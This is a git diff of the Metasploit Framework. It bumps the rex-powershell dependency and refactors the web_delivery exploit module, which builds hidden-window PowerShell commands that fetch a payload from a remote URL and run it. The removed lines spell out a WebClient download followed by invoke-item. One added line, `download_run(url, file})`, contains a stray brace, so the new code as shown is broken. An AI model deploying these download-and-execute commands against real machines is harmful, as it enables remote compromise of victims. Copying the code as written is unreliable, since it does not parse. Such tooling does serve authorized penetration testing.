diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index ec4ed157c9..c796bb97d9 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -139,7 +139,7 @@ Gem::Specification.new do |spec| # Library for Generating Randomized strings valid as Identifiers such as variable names spec.add_runtime_dependency 'rex-random_identifier' # library for creating Powershell scripts for exploitation purposes - spec.add_runtime_dependency 'rex-powershell', ["< 0.1.73"] + spec.add_runtime_dependency 'rex-powershell', ["< 0.1.78"] # Library for processing and creating Zip compatbile archives spec.add_runtime_dependency 'rex-zip' # Library for parsing offline Windows Registry files diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb index 873185fd37..707f1ca524 100644 --- a/modules/exploits/multi/script/web_delivery.rb +++ b/modules/exploits/multi/script/web_delivery.rb @@ -149,7 +149,6 @@ class MetasploitModule < Msf::Exploit::Remote if method.include? 'string' download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url)) - download_and_run = "#{ignore_cert}#{download_string}" else # Random filename to use, if there isn't anything set random = "#{rand_text_alphanumeric 8}.exe" @@ -164,13 +163,11 @@ class MetasploitModule < Msf::Exploit::Remote file = %Q(echo (#{path}+'\\#{filename}')) # Generate download PowerShell command - #download_string = Rex::Powershell::PshMethods.download(url, "$z") # Can't use, due to single vs double quotes in the URL - download_string = %Q^(new-object System.Net.WebClient).DownloadFile('#{url}', "$z")^ - - # Join PowerShell commands up - download_and_run = "$z=#{file};#{ignore_cert}#{download_string};invoke-item $z" + download_string = Rex::Powershell::PshMethods.download_run(url, file}) end + download_and_run = "#{ignore_cert}#{download_string}" + # Generate main PowerShell command return generate_psh_command_line(noprofile: true, windowstyle: 'hidden',